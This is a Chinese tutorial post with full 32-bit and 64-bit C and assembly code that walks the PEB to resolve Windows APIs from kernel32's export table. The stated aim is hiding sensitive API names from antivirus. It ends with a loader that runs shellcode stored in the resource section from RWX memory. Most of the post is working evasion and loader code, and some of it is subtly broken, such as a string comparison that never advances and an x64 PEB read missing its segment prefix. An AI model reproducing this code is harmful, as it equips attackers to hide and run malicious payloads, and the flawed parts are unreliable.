首先得先了解一个结构:
1.TEB、PEB
TEB
线程环境块:每个线程都有一个对应的TEB
PEB
进程环境块:每个进程在创建时都会有一个对应的PEB,它储存了该进程的全局状态和环境信息
这里不进行详细介绍,只了解需要用到的东西。
(1)TEB结构体

32位操作系统下,TEB结构体中偏移0x30的值是PEB结构体的地址,指向PEB结构体。我们可以通过这个获取到PEB的地址
(2)PEB结构体
PEB 结构体中用到的就是这个PPEB_LDR_DATA Ldr;
,偏移量是0xC,用这个可以直接获取到LDR_DATA结构体的地址。

(3)PEB_LDR_DATA结构体
我们来看看这个PEB_LDR_DATA
结构体是什么:
1 2 3 4 5 6 7 8
| typedef struct _PEB_LDR_DATA { ULONG Length; BOOL Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; } PEB_LDR_DATA, *PPEB_LDR_DATA;
|
前三个不用管,先看看这个LIST_ENTRY是什么东西:
1 2 3 4
| typedef struct _LIST_ENTRY { struct_LIST_ENTRY *Flink; struct_LIST_ENTRY *Blink; } LIST_ENTRY, *PLIST_ENTRY,*RESTRICTED_POINTER;
|
这个就是给双向链表,Flink
指向下一个结构,Blink
指向上一个结构
然后再来说说后三个变量是什么:
InLoadOrderModuleList
: 载入顺序排序的dll
InMemoryOrderModuleList
: 内存排序的dll
InInitializationOrderModuleList
: 初始化排序的dll
(4)LDR_DATA_TABLE_ENTRY结构体
接下来再讲一下DLL的信息是如何被存储的,每个模块的信息都被存储在一个LDR_DATA_TABLE_ENTRY
结构体当中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONGFlags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { ULONG TimeDateStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; } LDR_DATA_TABLE_ENTRY,*PLDR_DATA_TABLE_ENTRY;
|
可以看到这个结构体当中也有PEB_LDR_DATA
中的三个结构。那么这两个不同的结构是怎么练习起来的呢?可以看这张图:

就是通过这几个结构中的双向链表联系起来的,知道这个后我们就可以通过遍历来获取到想要的dll的信息了。
2.获取TEB、PEB
那我们如何来获取这几个结构呢?32位操作系统下,TEB的首地址就是fs:[0x0]
那么知道这个了,我们就可以通过内联汇编的方式来获取到这几个结构体的值
1 2 3 4 5 6 7 8
| _asm{ mov eax , fs:[0x30] mov eax , [eax + 0xC] add eax , 0x0C mov pBeg , eax mov eax , [eax] mov pPLD , eax }
|
此时pBeg就是PEB_LDR_DATA的地址,pPLD就是第一个dll的InLoadOrderLinks,因为这个是双向循环链表,那么只要遍历这个链表就会回到pBeg,所以我们可以使用循环来搜寻我们想要的dll的信息
1 2 3 4 5
| while(pBeg != pPLD) { ······· pPLD = (LDR_DATA_TABLE_ENTRY*)pPLD->InLoadOrderLinks.Flink; }
|
3.导入表隐藏
在我们编写的ShellCode中,直接调用系统API就很容易被杀掉,比如当我们需要将ShellCode写到进程中时必须要使用VirtualAlloc
、CreateThread
、WriteProcessMemory
···这些api肯定会被重点监控,此时我们可以通过GetProcAddress
函数来获取这些函数地址,这样导入表中就没有了这些函数名称。但是也会有LoadLibrary
和GetProcAddress
这些个函数名,这时候就得用上面的知识通过PEB,获取到 dll 的加载的地址,再通过导出表获得函数,这样导入表中就不会有这些函数的名称,从而完成了导入表隐藏函数名。
4.代码实现
(1)32位架构代码
32位程序是可以直接用_asm内联汇编的,使用比较方便
使用到的结构体: PEB_LDR_DATA
、LDR_DATA_TABLE_ENTRY
、UNICODE_STRING
这可以让后续访问更加简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| typedef HMODULE(WINAPI* PLOADLIBRARYA)(LPCSTR); typedef DWORD(WINAPI* PGETPROCADDRESS)(HMODULE, LPCSTR); typedef int(WINAPI* PMESSAGEBOX)(HWND, LPCTSTR, LPCTSTR, UINT);
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING;
typedef struct _PEB_LDR_DATA { DWORD Length; bool Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; } PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; UINT32 SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; UINT32 Flags; USHORT LoadCount; USHORT TlsIndex; LIST_ENTRY HashLinks; PVOID SectionPointer; UINT32 CheckSum; UINT32 TimeDateStamp; PVOID LoadedImports; PVOID EntryPointActivationContext; PVOID PatchInformation; } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
|
全局变量定义:
1 2 3 4
| typedef HMODULE(WINAPI* PLOADLIBRARYA)(LPCSTR); typedef DWORD(WINAPI* PGETPROCADDRESS)(HMODULE, LPCSTR); typedef int(WINAPI* PMESSAGEBOX)(HWND, LPCTSTR, LPCTSTR, UINT);
|
获取kernel32.dll的基址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| DWORD WINAPI GetKernel32Base() { PLOADLIBRARYA pLoadLibraryA = NULL; PGETPROCADDRESS pGetProcAddress = NULL; PMESSAGEBOX pMessageBox = NULL;
PLDR_DATA_TABLE_ENTRY pPLD; PLDR_DATA_TABLE_ENTRY pBeg;
PCHAR pFirst = NULL; PCHAR pLast = NULL;
DWORD ret = 0, i = 0; DWORD dwKernelBase = 0;
TCHAR szKernel32[] = L"KERNEL32.DLL"; char szGetProcAddress[] = "GetProcAddress"; char szLoadLibraryA[] = "LoadLibraryA";
_asm { mov eax, fs: [0x30] mov eax, [eax + 0xC] add eax, 0x0C mov pBeg, eax mov eax, [eax] mov pPLD, eax }
while (pPLD != pBeg) { pLast = (PCHAR)pPLD->BaseDllName.Buffer; pFirst = (PCHAR)szKernel32; int flag = 1; int Length = pPLD->BaseDllName.Length;
for (int i = 0; i < Length; i++) { if (*pLast != *pFirst) { flag = 0; break; } }
if (flag == 1) break; pPLD = (PLDR_DATA_TABLE_ENTRY)pPLD->InLoadOrderLinks.Flink; } return (DWORD)pPLD->DllBase; }
|
获取kernel32导出表,获取GetProcAddress
和 LoadLibrary
地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| VOID GetAPI(DWORD dwKernelBase) { PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwKernelBase; PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((DWORD)pDos + pDos->e_lfanew); PIMAGE_FILE_HEADER pFile = (PIMAGE_FILE_HEADER)((DWORD)pNt + 4); PIMAGE_OPTIONAL_HEADER pOption = (PIMAGE_OPTIONAL_HEADER)((DWORD)pFile + 20); PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((DWORD)pOption + pFile->SizeOfOptionalHeader); PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)(dwKernelBase + pOption->DataDirectory[0].VirtualAddress);
PDWORD pAddOfName_RVA = (PDWORD)(dwKernelBase + pExportDir->AddressOfNames); PWORD pAddOfOrd_RVA = (PWORD)(dwKernelBase + pExportDir->AddressOfNameOrdinals); PDWORD pAddOfFun_RVA = (PDWORD)(dwKernelBase + pExportDir->AddressOfFunctions);
DWORD dwCnt = 0; char* pFinded = NULL, * pSrc = szGetProcAddress;
for (; dwCnt < pExportDir->NumberOfNames; dwCnt++) { pFinded = (char*)(pAddOfName_RVA[dwCnt] + dwKernelBase); while (*pFinded && *pFinded == *pSrc) pFinded++, pSrc++; if (*pFinded == *pSrc) { pGetProcAddress = (PGETPROCADDRESS)(pAddOfFun_RVA[pAddOfOrd_RVA[dwCnt]] + dwKernelBase); break; } pSrc = szGetProcAddress; } if (!pGetProcAddress) { printf("GetProcAddress获取错误\n"); return 0; } pLoadLibraryA = (PLOADLIBRARYA)pGetProcAddress((HMODULE)dwKernelBase, "LoadLibraryA"); }
|
main函数
1 2 3 4 5 6 7 8 9
| int main() { DWORD dwKernel32Base = GetKernel32Base(); GetAPI(dwKernel32Base); HMODULE hUser = pLoadLibraryA("user32.dll"); pMessageBox = (PMESSAGEBOX)pGetProcAddress(hUser, "MessageBoxW");
pMessageBox(NULL, TEXT("隐藏导入表成功"), TEXT("[Successed]"), MB_OK); }
|
这样就可以在导入表中将敏感的API隐藏起来了,用dumpbin查看一下导入表:
1
| dumpbin /imports Test1.exe
|

可以看见messagebox弹出来了,而且导入表中根本没有LoadLibrary的API,GetProcAddress可能是系统函数调用了。完成32位下的导入表隐藏。
(2)64位架构
注意:
- 在x64架构下,
gs:[0x30]
寄存器在ring3指向TEB的结构,TEB + 60
处指向PEB结构,PEB+0x18
处指向PEB_LDR_DATA结构,PEB_LDR_DATA+0x30
处为InInitializationOrderModuleList。
- x64架构下无法使用内联汇编,只能用联合编译进行插入汇编代码
这里我们需要这样取PEB结构的地址:
先创建一个.asm的文件在里面这么写:
1 2 3 4 5 6
| .CODE GetPeb PROC mov rax,[60h] ret GetPeb ENDP END
|
在这个文件的属性页中选择

1 2
| 命令行:ml64 /Fo $(IntDir)%(fileName).obj /c %(fileName).asm 输出: $(IntDir)%(fileName).obj
|

然后在.cpp中声明:

这样就就可以通过GetPeb()获取到PEB结构的地址了。
代码实现:
定义一些变量:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING;
PLONG64 pPEB ;
PLONG64 GetInInitializationOrderModuleListAddr(); LONG64 GetKernel32Base(); LONG64 GetgetProcAddress(LONG64 Kernel32Base);
typedef LONG64(WINAPI* PGETPROCADDRESS)(HMODULE, LPCSTR); typedef HMODULE(WINAPI* PLOADLIBRARYA)(LPCSTR); typedef int(WINAPI* PMESSAGEBOX)(HWND, LPCTSTR, LPCTSTR, UINT);
|
GetInInitializationOrderModuleListAddr()函数
1 2 3 4 5 6 7
| PLONG64 GetInInitializationOrderModuleListAddr() { pPEB = (PLONG64)GetPeb(); PLONG64 Ldr = (PLONG64) * (PLONG64)((LONG64)pPEB + 0x18); PLONG64 InInitializationOrderModuleListAddr = (PLONG64)((LONG64)Ldr + 0x30); return InInitializationOrderModuleListAddr; }
|
LONG64 GetKernel32Base()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| LONG64 GetKernel32Base() { PLONG64 InitAddr = GetInInitializationOrderModuleListAddr(); TCHAR szKernel32[] = L"KERNEL32.DLL"; PBYTE Target = (PBYTE)szKernel32; PLONG64 head = InitAddr; PLONG64 Point = (PLONG64)*InitAddr; while (head != Point) { PUNICODE_STRING pString = (PUNICODE_STRING)((LONG64)Point + 0x38); PCHAR szCheck = (PCHAR)pString->Buffer; int flag = 1; for (int i = 0; i < pString->Length; i++) { if (szCheck[i] != Target[i]) { flag = 0; break; } } if (flag == 1) break; Point = (PLONG64)(*Point); } return *(PLONG64)((LONG64)Point + 0x10); }
|
LONG64 GetgetProcAddress(LONG64 Kernel32Base)函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| LONG64 GetgetProcAddress(LONG64 Kernel32Base) { PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)Kernel32Base; PIMAGE_NT_HEADERS64 pNt = (PIMAGE_NT_HEADERS64)(Kernel32Base + pDos->e_lfanew); PIMAGE_FILE_HEADER pFile = (PIMAGE_FILE_HEADER)((LONG64)pNt + 4); PIMAGE_OPTIONAL_HEADER64 pOpt = (PIMAGE_OPTIONAL_HEADER64)((LONG64)pFile + 20); PIMAGE_DATA_DIRECTORY pDir = pOpt->DataDirectory;
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(pDir[0].VirtualAddress + Kernel32Base);
CHAR szGetProcAddr[] = "GetProcAddress"; PDWORD NameOfAddr = (PDWORD)(pExport->AddressOfNames + Kernel32Base); PDWORD FunOfAddr = (PDWORD)(pExport->AddressOfFunctions + Kernel32Base); PWORD OrdOfAddr = (PWORD)(pExport->AddressOfNameOrdinals + Kernel32Base);
for (int i = 0; i < pExport->NumberOfNames; i++) { PCHAR Target = szGetProcAddr; PCHAR getProc = (PCHAR)(NameOfAddr[i] + Kernel32Base); int flag = 1; while (*Target) { if (*Target != *getProc) { flag = 0; break; } Target++; getProc++; } if (flag) { return (LONG64)(FunOfAddr[OrdOfAddr[i]] + Kernel32Base); } } return -1; }
|
main函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| int main() { LONG64 kernel32base = GetKernel32Base(); PGETPROCADDRESS pGetProcAddr = (PGETPROCADDRESS)GetgetProcAddress(kernel32base); PLOADLIBRARYA pLoadLibraryA = NULL; pLoadLibraryA = (PLOADLIBRARYA)pGetProcAddr((HMODULE)kernel32base, "LoadLibraryA"); if (!pLoadLibraryA) { printf("error"); return 0; } HMODULE hUser32 = pLoadLibraryA("User32.dll"); if (!hUser32) { printf("error-user32.dll\n"); return 0; } PMESSAGEBOX pMessageBox = NULL; pMessageBox = (PMESSAGEBOX)pGetProcAddr(hUser32, "MessageBoxW"); pMessageBox(NULL, L"good!!", L"[SUCCESS]", 0); return 0; }
|
这样就可以执行弹框了,再看看.exe导入表中有没有那几个敏感的API。


可以发现这里已经没有了GetProcAddress
、LoadLibrary
这两个函数了,说明我们导入表隐藏成功了。
通过导入表隐藏的方式就可以把各种敏感的API隐藏起来。接着我们还可以将ShellCode存储到资源节当中通过这种方式拿出来用:
1 2 3 4 5 6 7 8 9
| int main() { HRSRC Res = FindResource(NULL, MAKEINTRESOURCE(IDR_BIN1), L"BIN1"); DWORD Size = SizeofResource(NULL, Res); HGLOBAL Load = LoadResource(NULL, Res); void* buffer = VirtualAlloc(0, Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(buffer, Load, Size); ((void(*)())buffer)(); }
|
FindResource
: 获取资源句柄
SizeofResource
: 如果函数成功,则返回值为资源中的字节数。
LoadResource
: 返回HGLOBAL
类型的资源类型句柄(就是个地址)
然后申请一个可读可写可执行的空间,将ShellCode贴上去,再通过函数指针运行这个ShellCode。